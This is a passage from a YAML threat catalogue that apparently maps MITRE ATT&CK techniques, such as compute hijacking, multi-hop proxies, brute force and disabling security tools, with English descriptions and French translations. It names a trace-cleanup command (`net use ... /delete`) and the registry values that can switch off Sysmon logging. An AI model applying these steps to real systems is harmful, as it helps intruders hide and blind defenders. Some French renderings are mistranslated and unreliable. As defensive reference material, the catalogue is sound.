      \ to complete resource-intensive tasks, which may impact system and/or hosted\
      \ service availability. \n\nOne common purpose for [Compute Hijacking](https://attack.mitre.org/techniques/T1496/001)\
      \ is to validate transactions of cryptocurrency networks and earn virtual currency.\
      \ Adversaries may consume enough system resources to negatively impact and/or\
      \ cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus\
      \ Under The Hood Blog 2017) Servers and cloud-based systems are common targets\
      \ because of the high potential for available resources, but user endpoint systems\
      \ may also be compromised and used for [Compute Hijacking](https://attack.mitre.org/techniques/T1496/001)\
      \ and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized\
      \ environments may also be targeted due to the ease of deployment via exposed\
      \ APIs and the potential for scaling mining activities by deploying or compromising\
      \ multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard\
      \ Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some\
      \ cryptocurrency mining malware identify then kill off processes for competing\
      \ malware to ensure it\u2019s not competing for resources.(Citation: Trend Micro\
      \ War of Crypto Miners)\nhttps://attack.mitre.org/techniques/T1496/001"
    translations:
      fr:
        name: "D\xE9tournement de calcul"
        description: "Les adversaires peuvent exploiter les ressources de calcul des\
          \ syst\xE8mes coopt\xE9s pour effectuer des t\xE2ches gourmandes en ressources,\
          \ ce qui peut avoir un impact sur la disponibilit\xE9 du syst\xE8me et/ou\
          \ des services h\xE9berg\xE9s. \n\nL\u2019un des objectifs courants du [Compute\
          \ Hijacking](https://attack.mitre.org/techniques/T1496/001) est de valider\
          \ les transactions des r\xE9seaux de crypto-monnaie et de gagner de la monnaie\
          \ virtuelle. Les adversaires peuvent consommer suffisamment de ressources\
          \ syst\xE8me pour avoir un impact n\xE9gatif et/ou emp\xEAcher les machines\
          \ affect\xE9es de r\xE9pondre. (Citation : Blog Kaspersky Lazarus Under\
          \ The Hood 2017) Les serveurs et les syst\xE8mes bas\xE9s sur le cloud sont\
          \ des cibles courantes en raison du potentiel \xE9lev\xE9 de ressources\
          \ disponibles, mais les syst\xE8mes de points de terminaison des utilisateurs\
          \ peuvent \xE9galement \xEAtre compromis et utilis\xE9s pour le [d\xE9tournement\
          \ de calcul](https://attack.mitre.org/techniques/T1496/001) et le minage\
          \ de cryptomonnaies. (Citation : CloudSploit - R\xE9gions AWS inutilis\xE9\
          es) Les environnements conteneuris\xE9s peuvent \xE9galement \xEAtre cibl\xE9\
          s en raison de la facilit\xE9 de d\xE9ploiement via des API expos\xE9es\
          \ et du potentiel de mise \xE0 l\u2019\xE9chelle des activit\xE9s de minage\
          \ en d\xE9ployant ou en compromettant plusieurs conteneurs au sein d\u2019\
          un environnement ou d\u2019un cluster. (Citation : Unit\xE9 42 Hildegard\
          \ Malware)(R\xE9f\xE9rence : API Docker expos\xE9es de Trend Micro)\n\n\
          De plus, certains logiciels malveillants de minage de crypto-monnaies identifient\
          \ puis tuent les processus des logiciels malveillants concurrents pour s\u2019\
          assurer qu\u2019ils ne sont pas en concurrence pour les ressources. (Citation\
          \ : Trend Micro Guerre des mineurs de crypto-monnaies)\nhttps://attack.mitre.org/techniques/T1496/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1070.005
    ref_id: T1070.005
    name: Network Share Connection Removal
    description: 'Adversaries may remove share connections that are no longer useful
      in order to clean up traces of their operation. Windows shared drive and [SMB/Windows
      Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can
      be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039)
      is an example utility that can be used to remove network share connections with
      the <code>net use \\system\share /delete</code> command. (Citation: Technet
      Net Use)

      https://attack.mitre.org/techniques/T1070/005'
    translations:
      fr:
        name: "Suppression de la connexion de partage r\xE9seau"
        description: "Les adversaires peuvent supprimer les connexions de partage\
          \ qui ne sont plus utiles afin de nettoyer les traces de leur fonctionnement.\
          \ Les connexions Windows shared drive et [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002)\
          \ peuvent \xEAtre supprim\xE9es lorsqu\u2019elles ne sont plus n\xE9cessaires.\
          \ [Net](https://attack.mitre.org/software/S0039) est un exemple d\u2019\
          utilitaire qui peut \xEAtre utilis\xE9 pour supprimer les connexions de\
          \ partage r\xE9seau \xE0 l\u2019aide de la commande <code>net use \\\\system\\\
          share /delete</code>. (Citation : Utilisation de Technet Net)\nhttps://attack.mitre.org/techniques/T1070/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1090.003
    ref_id: T1090.003
    name: Multi-hop Proxy
    description: "Adversaries may chain together multiple proxies to disguise the\
      \ source of malicious traffic. Typically, a defender will be able to identify\
      \ the last proxy traffic traversed before it enters their network; the defender\
      \ may or may not be able to identify any previous proxies before the last-hop\
      \ proxy. This technique makes identifying the original source of the malicious\
      \ traffic even more difficult by requiring the defender to trace malicious traffic\
      \ through several proxies to identify its source.\n\nFor example, adversaries\
      \ may construct or use onion routing networks \u2013 such as the publicly available\
      \ [Tor](https://attack.mitre.org/software/S0183) network \u2013 to transport\
      \ encrypted C2 traffic through a compromised population, allowing communication\
      \ with any device within the network.(Citation: Onion Routing) Adversaries may\
      \ also use operational relay box (ORB) networks composed of virtual private\
      \ servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life\
      \ routers to obfuscate their operations. (Citation: ORB Mandiant) \n\nIn the\
      \ case of network infrastructure, it is possible for an adversary to leverage\
      \ multiple compromised devices to create a multi-hop proxy chain (i.e., [Network\
      \ Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch\
      \ System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries\
      \ can add custom code to the affected network devices that will implement onion\
      \ routing between those nodes. This method is dependent upon the [Network Boundary\
      \ Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries\
      \ to cross the protected network boundary of the Internet perimeter and into\
      \ the organization\u2019s Wide-Area Network (WAN).  Protocols such as ICMP may\
      \ be used as a transport.  \n\nSimilarly, adversaries may abuse peer-to-peer\
      \ (P2P) and blockchain-oriented infrastructure to implement routing between\
      \ a decentralized network of peers.(Citation: NGLite Trojan)\nhttps://attack.mitre.org/techniques/T1090/003"
    translations:
      fr:
        name: Proxy multi-sauts
        description: "Les adversaires peuvent encha\xEEner plusieurs proxys pour dissimuler\
          \ la source du trafic malveillant. En r\xE8gle g\xE9n\xE9rale, un d\xE9\
          fenseur sera en mesure d\u2019identifier le dernier trafic proxy travers\xE9\
          \ avant qu\u2019il n\u2019entre dans son r\xE9seau ; Le d\xE9fenseur peut\
          \ ou non \xEAtre en mesure d\u2019identifier les proxys pr\xE9c\xE9dents\
          \ avant le proxy de dernier saut. Cette technique rend l\u2019identification\
          \ de la source d\u2019origine du trafic malveillant encore plus difficile\
          \ en obligeant le d\xE9fenseur \xE0 suivre le trafic malveillant via plusieurs\
          \ proxys pour identifier sa source.\n\nPar exemple, les adversaires peuvent\
          \ construire ou utiliser des r\xE9seaux de routage en oignon \u2013 tels\
          \ que le r\xE9seau [Tor](https://attack.mitre.org/software/S0183) accessible\
          \ au public \u2013 pour transporter du trafic C2 chiffr\xE9 \xE0 travers\
          \ une population compromise, permettant ainsi la communication avec n\u2019\
          importe quel appareil au sein du r\xE9seau. (Citation : Routage en oignon)\
          \ Les adversaires peuvent \xE9galement utiliser des r\xE9seaux ORB (Operational\
          \ Relay Box) compos\xE9s de serveurs priv\xE9s virtuels (VPS), d\u2019appareils\
          \ IoT (Internet des objets), d\u2019appareils intelligents et de routeurs\
          \ en fin de vie pour masquer leurs op\xE9rations. (Citation : ORB Mandiant)\
          \ \n\nDans le cas d\u2019une infrastructure r\xE9seau, il est possible pour\
          \ un adversaire d\u2019exploiter plusieurs p\xE9riph\xE9riques compromis\
          \ pour cr\xE9er une cha\xEEne proxy \xE0 plusieurs sauts (c\u2019est-\xE0\
          -dire [Network Devices](https://attack.mitre.org/techniques/T1584/008)).\
          \ En utilisant [Patch System Image](https://attack.mitre.org/techniques/T1601/001)\
          \ sur les routeurs, les adversaires peuvent ajouter du code personnalis\xE9\
          \ aux p\xE9riph\xE9riques r\xE9seau concern\xE9s qui impl\xE9mentera le\
          \ routage en oignon entre ces n\u0153uds. Cette m\xE9thode d\xE9pend de\
          \ la m\xE9thode [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599),\
          \ qui permet aux adversaires de franchir la limite de r\xE9seau prot\xE9\
          g\xE9e du p\xE9rim\xE8tre Internet et d\u2019entrer dans le r\xE9seau \xE9\
          tendu (WAN) de l\u2019organisation.  Des protocoles tels que ICMP peuvent\
          \ \xEAtre utilis\xE9s comme moyen de transport.  \n\nDe m\xEAme, les adversaires\
          \ peuvent abuser de l\u2019infrastructure peer-to-peer (P2P) et orient\xE9\
          e blockchain pour mettre en \u0153uvre le routage entre un r\xE9seau d\xE9\
          centralis\xE9 de pairs. (Citation : Cheval de Troie NGLite)\nhttps://attack.mitre.org/techniques/T1090/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1110
    ref_id: T1110
    name: Brute Force
    description: 'Adversaries may use brute force techniques to gain access to accounts
      when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro
      Pawn Storm Dec 2020) Without knowledge of the password for an account or set
      of accounts, an adversary may systematically guess the password using a repetitive
      or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords
      can take place via interaction with a service that will check the validity of
      those credentials or offline against previously acquired credential data, such
      as password hashes.


      Brute forcing credentials may take place at various points during a breach.
      For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078)
      within a victim environment leveraging knowledge gathered from other post-compromise
      behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003),
      [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password
      Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may
      also combine brute forcing activity with behaviors such as [External Remote
      Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.

      https://attack.mitre.org/techniques/T1110'
    translations:
      fr:
        name: Brute Force
        description: "Les adversaires peuvent utiliser des techniques de force brute\
          \ pour acc\xE9der \xE0 des comptes lorsque les mots de passe sont inconnus\
          \ ou lorsque des hachages de mots de passe sont obtenus. (Citation : TrendMicro\
          \ Pawn Storm d\xE9cembre 2020) Sans conna\xEEtre le mot de passe d\u2019\
          un compte ou d\u2019un ensemble de comptes, un adversaire peut syst\xE9\
          matiquement deviner le mot de passe \xE0 l\u2019aide d\u2019un m\xE9canisme\
          \ r\xE9p\xE9titif ou it\xE9ratif. (Citation : Dragos Crashoverride 2018)\
          \ Les mots de passe par force brute peuvent avoir lieu via une interaction\
          \ avec un service qui v\xE9rifiera la validit\xE9 de ces informations d\u2019\
          identification ou hors ligne par rapport aux donn\xE9es d\u2019identification\
          \ pr\xE9c\xE9demment acquises, telles que les hachages de mot de passe.\n\
          \nLe filtrage brutal des informations d\u2019identification peut avoir lieu\
          \ \xE0 diff\xE9rents moments d\u2019une violation. Par exemple, les adversaires\
          \ peuvent tenter de forcer l\u2019acc\xE8s \xE0 des [comptes valides](https://attack.mitre.org/techniques/T1078)\
          \ au sein d\u2019un environnement victime en exploitant les connaissances\
          \ recueillies lors d\u2019autres comportements post-compromission, tels\
          \ que [vidage des informations d\u2019identification du syst\xE8me d\u2019\
          exploitation](https://attack.mitre.org/techniques/T1003), [D\xE9couverte\
          \ de compte](https://attack.mitre.org/techniques/T1087) ou [D\xE9couverte\
          \ de la politique de mot de passe](https://attack.mitre.org/techniques/T1201).\
          \ Les adversaires peuvent \xE9galement combiner une activit\xE9 de force\
          \ brute avec des comportements tels que [Services \xE0 distance externes](https://attack.mitre.org/techniques/T1133)\
          \ dans le cadre de l\u2019acc\xE8s initial.\nhttps://attack.mitre.org/techniques/T1110"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1059.004
    ref_id: T1059.004
    name: Unix Shell
    description: 'Adversaries may abuse Unix shell commands and scripts for execution.
      Unix shells are the primary command prompt on Linux and macOS systems, though
      many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending
      on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell)
      Unix shells can control every aspect of a system, with certain commands requiring
      elevated privileges.


      Unix shells also support scripts that enable sequential execution of commands
      as well as other typical programming operations such as conditionals and loops.
      Common uses of shell scripts include long or repetitive tasks, or the need to
      run the same set of commands on multiple systems.


      Adversaries may abuse Unix shells to execute various commands or payloads. Interactive
      shells may be accessed through command and control channels or during lateral
      movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004).
      Adversaries may also leverage shell scripts to deliver and execute multiple
      commands on victims or as part of payloads used for persistence.

      https://attack.mitre.org/techniques/T1059/004'
    translations:
      fr:
        name: Unix Shell
        description: "Les adversaires peuvent abuser des commandes et des scripts\
          \ de shell Unix pour l\u2019ex\xE9cution. Les shells Unix sont la principale\
          \ invite de commande sur les syst\xE8mes Linux et macOS, bien que de nombreuses\
          \ variantes du shell Unix existent (e.g. sh, bash, zsh, etc.) en fonction\
          \ du syst\xE8me d\u2019exploitation ou de la distribution sp\xE9cifique.\
          \ (Citation : DieNet Bash)(Citation : Apple ZShell) Les shells Unix peuvent\
          \ contr\xF4ler tous les aspects d\u2019un syst\xE8me, certaines commandes\
          \ n\xE9cessitant des privil\xE8ges \xE9lev\xE9s.\n\nLes shells Unix prennent\
          \ \xE9galement en charge les scripts qui permettent l\u2019ex\xE9cution\
          \ s\xE9quentielle de commandes ainsi que d\u2019autres op\xE9rations de\
          \ programmation typiques telles que les conditions et les boucles. Les scripts\
          \ shell sont couramment utilis\xE9s, notamment les t\xE2ches longues ou\
          \ r\xE9p\xE9titives, ou la n\xE9cessit\xE9 d\u2019ex\xE9cuter le m\xEAme\
          \ ensemble de commandes sur plusieurs syst\xE8mes.\n\nLes adversaires peuvent\
          \ abuser des shells Unix pour ex\xE9cuter diverses commandes ou charges\
          \ utiles. Les obus interactifs peuvent \xEAtre accessibles par des canaux\
          \ de commande et de contr\xF4le ou lors de mouvements lat\xE9raux tels que\
          \ [SSH](https://attack.mitre.org/techniques/T1021/004). Les adversaires\
          \ peuvent \xE9galement exploiter des scripts shell pour fournir et ex\xE9\
          cuter plusieurs commandes sur les victimes ou dans le cadre de charges utiles\
          \ utilis\xE9es pour la persistance.\nhttps://attack.mitre.org/techniques/T1059/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1137.003
    ref_id: T1137.003
    name: Outlook Forms
    description: "Adversaries may abuse Microsoft Outlook forms to obtain persistence\
      \ on a compromised system. Outlook forms are used as templates for presentation\
      \ and functionality in Outlook messages. Custom Outlook forms can be created\
      \ that will execute code when a specifically crafted email is sent by an adversary\
      \ utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\
      \nOnce malicious forms have been added to the user\u2019s mailbox, they will\
      \ be loaded when Outlook is started. Malicious forms will execute when an adversary\
      \ sends a specifically crafted email to the user.(Citation: SensePost Outlook\
      \ Forms)\nhttps://attack.mitre.org/techniques/T1137/003"
    translations:
      fr:
        name: Formulaires Outlook
        description: "Les adversaires peuvent abuser des formulaires Microsoft Outlook\
          \ pour obtenir la persistance sur un syst\xE8me compromis. Les formulaires\
          \ Outlook sont utilis\xE9s comme mod\xE8les de pr\xE9sentation et de fonctionnalit\xE9\
          \ dans les messages Outlook. Il est possible de cr\xE9er des formulaires\
          \ Outlook personnalis\xE9s qui ex\xE9cutent du code lorsqu\u2019un e-mail\
          \ sp\xE9cialement con\xE7u est envoy\xE9 par un adversaire \xE0 l\u2019\
          aide du m\xEAme formulaire Outlook personnalis\xE9. (Citation : Formulaires\
          \ Outlook SensePost)\n\nUne fois que des formulaires malveillants ont \xE9\
          t\xE9 ajout\xE9s \xE0 la bo\xEEte aux lettres de l\u2019utilisateur, ils\
          \ seront charg\xE9s au d\xE9marrage d\u2019Outlook. Les formulaires malveillants\
          \ s\u2019ex\xE9cutent lorsqu\u2019un adversaire envoie un e-mail sp\xE9\
          cialement con\xE7u \xE0 l\u2019utilisateur. (Citation : Formulaires Outlook\
          \ SensePost)\nhttps://attack.mitre.org/techniques/T1137/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1562.001
    ref_id: T1562.001
    name: Disable or Modify Tools
    description: "Adversaries may modify and/or disable security tools to avoid possible\
      \ detection of their malware/tools and activities. This may take many forms,\
      \ such as killing security software processes or services, modifying / deleting\
      \ Registry keys or configuration files so that tools do not operate properly,\
      \ or other methods to interfere with security tools scanning or reporting information.\
      \ Adversaries may also disable updates to prevent the latest security patches\
      \ from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\n\n\
      Adversaries may also tamper with artifacts deployed and utilized by security\
      \ tools. Security tools may make dynamic changes to system components in order\
      \ to maintain visibility into specific events. For example, security products\
      \ may load their own modules and/or modify those loaded by processes to facilitate\
      \ data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006),\
      \ adversaries may unhook or otherwise modify these features added by tools (especially\
      \ those that exist in userland or are otherwise potentially accessible to adversaries)\
      \ to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System\
      \ Calls) \n\nAdversaries may also focus on specific applications such as Sysmon.\
      \ For example, the \u201CStart\u201D and \u201CEnable\u201D values in <code>HKEY_LOCAL_MACHINE\\\
      SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational</code>\
      \ may be modified to tamper with and potentially disable Sysmon logging.(Citation:\
      \ disable_win_evt_logging) \n\nOn network devices, adversaries may attempt to\
      \ skip digital signature verification checks by altering startup configuration\
      \ files and effectively disabling firmware verification that typically occurs\
      \ at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected\
      \ Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)\n\
      \nIn cloud environments, tools disabled by adversaries may include cloud monitoring\
      \ agents that report back to services such as AWS CloudWatch or Google Cloud\
      \ Monitor.\n\nFurthermore, although defensive tools may have anti-tampering\
      \ mechanisms, adversaries may abuse tools such as legitimate rootkit removal\
      \ kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation:\
      \ dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike)\
      \ For example, adversaries have used tools such as GMER to find and shut down\
      \ hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\
      \nAdditionally, adversaries may exploit legitimate drivers from anti-virus software\
      \ to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)),\
      \ which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)\n\
      https://attack.mitre.org/techniques/T1562/001"
    translations:
      fr:
        name: "D\xE9sactiver ou modifier les outils"
        description: "Les adversaires peuvent modifier et/ou d\xE9sactiver les outils\
          \ de s\xE9curit\xE9 pour \xE9viter la d\xE9tection \xE9ventuelle de leurs\
          \ logiciels malveillants/outils et activit\xE9s. Cela peut prendre de nombreuses\
          \ formes, telles que l\u2019arr\xEAt des processus ou des services logiciels\
          \ de s\xE9curit\xE9, la modification/suppression de cl\xE9s de registre\
          \ ou de fichiers de configuration afin que les outils ne fonctionnent pas\
          \ correctement, ou d\u2019autres m\xE9thodes permettant d\u2019interf\xE9\
          rer avec l\u2019analyse ou la communication d\u2019informations par les\
          \ outils de s\xE9curit\xE9. Les adversaires peuvent \xE9galement d\xE9sactiver\
          \ les mises \xE0 jour pour emp\xEAcher les derniers correctifs de s\xE9\
          curit\xE9 d\u2019atteindre les outils sur les syst\xE8mes victimes. (R\xE9\
          f\xE9rence : SCADAfence_ransomware)\n\nLes adversaires peuvent \xE9galement\
          \ alt\xE9rer les artefacts d\xE9ploy\xE9s et utilis\xE9s par les outils\
          \ de s\xE9curit\xE9. Les outils de s\xE9curit\xE9 peuvent apporter des modifications\
          \ dynamiques aux composants du syst\xE8me afin de maintenir la visibilit\xE9\
          \ sur des \xE9v\xE9nements sp\xE9cifiques. Par exemple, les produits de\
          \ s\xE9curit\xE9 peuvent charger leurs propres modules et/ou modifier ceux\
          \ charg\xE9s par les processus pour faciliter la collecte de donn\xE9es.\
          \ \xC0 l\u2019instar de [Blocage d\u2019indicateur](https://attack.mitre.org/techniques/T1562/006),\
          \ les adversaires peuvent d\xE9crocher ou modifier ces fonctionnalit\xE9\
          s ajout\xE9es par des outils (en particulier ceux qui existent dans l\u2019\
          espace utilisateur ou qui sont potentiellement accessibles aux adversaires)\
          \ pour \xE9viter d\u2019\xEAtre d\xE9tect\xE9s. (Citation : Appels syst\xE8\
          me OutFlank)(Citation : Appels syst\xE8me MDSec) \n\nLes adversaires peuvent\
          \ \xE9galement se concentrer sur des applications sp\xE9cifiques telles\
          \ que Sysmon. Par exemple, les valeurs \xAB Start \xBB et \xAB Enable \xBB\
          \ dans <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\\
          Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational</code> peuvent\
          \ \xEAtre modifi\xE9es pour alt\xE9rer et potentiellement d\xE9sactiver\
          \ la journalisation Sysmon. (R\xE9f\xE9rence : disable_win_evt_logging)\
          \ \n\nSur les p\xE9riph\xE9riques r\xE9seau, les adversaires peuvent tenter\
          \ d\u2019ignorer les v\xE9rifications de v\xE9rification de signature num\xE9\
          rique en modifiant les fichiers de configuration de d\xE9marrage et en d\xE9\
          sactivant efficacement la v\xE9rification du micrologiciel qui se produit\
          \ g\xE9n\xE9ralement au d\xE9marrage. (Citation : Fortinet zero-day et un\
          \ logiciel malveillant personnalis\xE9 utilis\xE9 par un acteur chinois\
          \ pr\xE9sum\xE9 dans une op\xE9ration d\u2019espionnage)(R\xE9f\xE9rence\
          \ : Analyse de FG-IR-22-369)\n\nDans les environnements cloud, les outils\
          \ d\xE9sactiv\xE9s par les adversaires peuvent inclure des agents de surveillance\
          \ cloud qui rendent compte \xE0 des services tels qu\u2019AWS CloudWatch\
          \ ou Google Cloud Monitor.\n\nDe plus, bien que les outils d\xE9fensifs\
          \ puissent disposer de m\xE9canismes anti-falsification, les adversaires\
          \ peuvent abuser d\u2019outils tels que des kits de suppression de rootkits\
          \ l\xE9gitimes pour alt\xE9rer et/ou d\xE9sactiver ces outils. (R\xE9f\xE9\
          rence : chasing_avaddon_ransomware)(R\xE9f\xE9rence : dharma_ransomware)(R\xE9\
          f\xE9rence : demystifying_ryuk)(R\xE9f\xE9rence : doppelpaymer_crowdstrike)\
          \ Par exemple, des adversaires ont utilis\xE9 des outils tels que GMER pour\
          \ trouver et arr\xEAter des processus cach\xE9s et des logiciels antivirus\
          \ sur des syst\xE8mes infect\xE9s. (R\xE9f\xE9rence : demystifying_ryuk)\n\
          \nDe plus, les adversaires peuvent exploiter des pilotes l\xE9gitimes de\
          \ logiciels antivirus pour acc\xE9der \xE0 l\u2019espace du noyau (c\u2019\
          est-\xE0-dire [Exploitation pour l\u2019\xE9l\xE9vation de privil\xE8ges](https://attack.mitre.org/techniques/T1068)),\
          \ ce qui peut conduire \xE0 contourner les fonctionnalit\xE9s anti-falsification.\
          \ (R\xE9f\xE9rence : avoslocker_ransomware)\nhttps://attack.mitre.org/techniques/T1562/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1565
    ref_id: T1565
    name: Data Manipulation
    description: 'Adversaries may insert, delete, or manipulate data in order to influence
      external outcomes or hide activity, thus threatening the integrity of the data.(Citation:
      Sygnia Elephant Beetle Jan 2022) By manipulating data, adversaries may attempt
      to affect a business process, organizational understanding, or decision making.


      The type of modification and the impact it will have depends on the target application
      and process as well as the goals and objectives of the adversary. For complex
      systems, an adversary would likely need special expertise and possibly access
      to specialized software related to the system that would typically be gained
      through a prolonged information gathering campaign in order to have the desired
      impact.

      https://attack.mitre.org/techniques/T1565'
    translations:
      fr:
        name: "Manipulation des donn\xE9es"
        description: "Les adversaires peuvent ins\xE9rer, supprimer ou manipuler des\
          \ donn\xE9es afin d\u2019influencer des r\xE9sultats externes ou de cacher\
          \ des activit\xE9s, mena\xE7ant ainsi l\u2019int\xE9grit\xE9 des donn\xE9\
          es. (Citation : Sygnia Elephant Beetle Jan 2022) En manipulant les donn\xE9\
          es, les adversaires peuvent tenter d\u2019affecter un processus m\xE9tier,\
          \ une compr\xE9hension organisationnelle ou une prise de d\xE9cision.\n\n\
          Le type de modification et l\u2019impact qu\u2019elle aura d\xE9pendent\
          \ de l\u2019application et du processus cibles, ainsi que des buts et objectifs\
          \ de l\u2019adversaire. Pour les syst\xE8mes complexes, un adversaire aurait\
          \ probablement besoin d\u2019une expertise particuli\xE8re et peut-\xEA\
          tre d\u2019un acc\xE8s \xE0 des logiciels sp\xE9cialis\xE9s li\xE9s au syst\xE8\
          me, ce qui serait g\xE9n\xE9ralement obtenu par le biais d\u2019une campagne\
          \ de collecte d\u2019informations prolong\xE9e afin d\u2019avoir l\u2019\
          impact souhait\xE9.\nhttps://attack.mitre.org/techniques/T1565"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1559
    ref_id: T1559
    name: Inter-Process Communication
    description: "Adversaries may abuse inter-process communication (IPC) mechanisms\
      \ for local code or command execution. IPC is typically used by processes to\
      \ share data, communicate with each other, or synchronize execution. IPC is\
      \ also commonly used to avoid situations such as deadlocks, which occurs when\
      \ processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse\
      \ IPC to execute arbitrary code or commands. IPC mechanisms may differ depending\
      \ on OS, but typically exists in a form accessible through programming languages/libraries\
      \ or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002)\
      \ or [Component Object Model](https://attack.mitre.org/techniques/T1559/001).\
      \ Linux environments support several different IPC mechanisms, two of which\
      \ being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums,\
      \ such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s,\
      \ may also leverage underlying IPC mechanisms. Adversaries may also use [Remote\
      \ Services](https://attack.mitre.org/techniques/T1021) such as [Distributed\
      \ Component Object Model](https://attack.mitre.org/techniques/T1021/003) to\
      \ facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)\n\
      https://attack.mitre.org/techniques/T1559"
    translations:
      fr:
        name: Communication inter-processus
        description: "Les adversaires peuvent abuser des m\xE9canismes de communication\
          \ interprocessus (IPC) pour l\u2019ex\xE9cution de code local ou de commandes.\
          \ IPC est g\xE9n\xE9ralement utilis\xE9 par les processus pour partager\
          \ des donn\xE9es, communiquer entre eux ou synchroniser l\u2019ex\xE9cution.\
          \ IPC est \xE9galement couramment utilis\xE9 pour \xE9viter des situations\
          \ telles que les interblocages, qui se produisent lorsque les processus\
          \ sont bloqu\xE9s dans un mod\xE8le d\u2019attente cyclique. \n\nLes adversaires\
          \ peuvent abuser de l\u2019IPC pour ex\xE9cuter du code ou des commandes\
          \ arbitraires. Les m\xE9canismes IPC peuvent diff\xE9rer selon le syst\xE8\
          me d\u2019exploitation, mais existent g\xE9n\xE9ralement sous une forme\
          \ accessible via des langages de programmation/biblioth\xE8ques ou des interfaces\
          \ natives telles que Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002)\
          \ ou [Component Object Model](https://attack.mitre.org/techniques/T1559/001).\
          \ Les environnements Linux prennent en charge plusieurs m\xE9canismes IPC\
          \ diff\xE9rents, dont deux sont des sockets et des pipes. (Citation : Linux\
          \ IPC) Les moyens d\u2019ex\xE9cution de niveau sup\xE9rieur, tels que ceux\
          \ des [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059),\
          \ peuvent \xE9galement tirer parti des m\xE9canismes IPC sous-jacents. Les\
          \ adversaires peuvent \xE9galement utiliser des [Services \xE0 distance](https://attack.mitre.org/techniques/T1021)\
          \ tels que [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003)\
          \ pour faciliter l\u2019ex\xE9cution \xE0 distance de l\u2019IPC. (R\xE9\
          f\xE9rence : Fireeye Hunting COM juin 2019)\nhttps://attack.mitre.org/techniques/T1559"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1001
    ref_id: T1001
    name: Data Obfuscation
    description: 'Adversaries may obfuscate command and control traffic to make it
      more difficult to detect.(Citation: Bitdefender FunnyDream Campaign November
      2020) Command and control (C2) communications are hidden (but not necessarily
      encrypted) in an attempt to make the content more difficult to discover or decipher
      and to make the communication less conspicuous and hide commands from being
      seen. This encompasses many methods, such as adding junk data to protocol traffic,
      using steganography, or impersonating legitimate protocols.

      https://attack.mitre.org/techniques/T1001'
    translations:
      fr:
        name: "Obscurcissement des donn\xE9es"
        description: "Les adversaires peuvent obscurcir le trafic de commande et de\
          \ contr\xF4le pour le rendre plus difficile \xE0 d\xE9tecter. (Citation\
          \ : Campagne Bitdefender FunnyDream novembre 2020) Les communications de\
          \ commande et de contr\xF4le (C2) sont cach\xE9es (mais pas n\xE9cessairement\
          \ chiffr\xE9es) dans le but de rendre le contenu plus difficile \xE0 d\xE9\
          couvrir ou \xE0 d\xE9chiffrer, de rendre la communication moins visible\
          \ et de cacher la vue des commandes. Cela englobe de nombreuses m\xE9thodes,\
          \ telles que l\u2019ajout de donn\xE9es ind\xE9sirables au trafic de protocole,\
          \ l\u2019utilisation de la st\xE9ganographie ou l\u2019usurpation d\u2019\
          identit\xE9 de protocoles l\xE9gitimes.\nhttps://attack.mitre.org/techniques/T1001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1039
    ref_id: T1039
    name: Data from Network Shared Drive
    description: 'Adversaries may search network shares on computers they have compromised
      to find files of interest. Sensitive data can be collected from remote systems
      via shared network drives (host shared directory, network file server, etc.)
      that are accessible from the current system prior to Exfiltration. Interactive
      command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106)
      may be used to gather information.

      https://attack.mitre.org/techniques/T1039'
    translations:
      fr:
        name: "Donn\xE9es du Drive partag\xE9 sur le r\xE9seau"
